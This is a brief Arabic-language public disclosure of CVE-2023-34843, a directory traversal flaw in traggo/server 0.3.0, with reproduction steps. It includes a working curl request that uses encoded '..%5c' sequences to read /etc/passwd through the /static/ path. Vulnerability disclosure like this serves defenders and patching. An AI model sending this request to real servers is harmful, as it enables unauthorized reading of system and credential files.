
إفصاح عام عن CVE-2023-34843.
الإفصاح عن CVE-2023-34843
إصدار traggo/server 0.3.0 عرضة لاجتياز الدليل.
خطوات إعادة الإنتاج:
قم بإعداد traggo/server على نقطة النهاية/الخادم الخاص بك. https://traggo.net/install/
أرسل طلب GET إلى عنوان URL التالي. curl -X GET http://localhost:3030/static/..%5c..%5c..%5c..%5cetc/passwd
اعرض محتويات /etc/passwd